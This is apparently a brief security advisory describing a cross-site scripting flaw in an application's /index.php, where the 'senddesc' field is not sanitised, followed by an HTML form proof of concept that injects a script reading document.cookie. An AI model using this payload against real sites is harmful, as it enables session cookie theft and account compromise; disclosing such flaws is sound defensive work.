Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "rumba_desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="sendid" value="rumba_id" />
<input type="hidden" name="sendtitl" value="rumba_titl" />
<input type="hidden" name="sendauthor" value="rumba_author" />
<input type="hidden" name="senddata" value="Sat, 14 Aug 2010 14:34:20" />
<input type="hidden" name="sendlost" value="0" />
<input type="hidden" name="senddesc" value='rumba_desc"><script>alert(document.cookie)</script>' />
<input type="hidden" name="sendanons" value="rumba_anons" />
<input type="hidden" name="sendtext" value="rumba_text" />
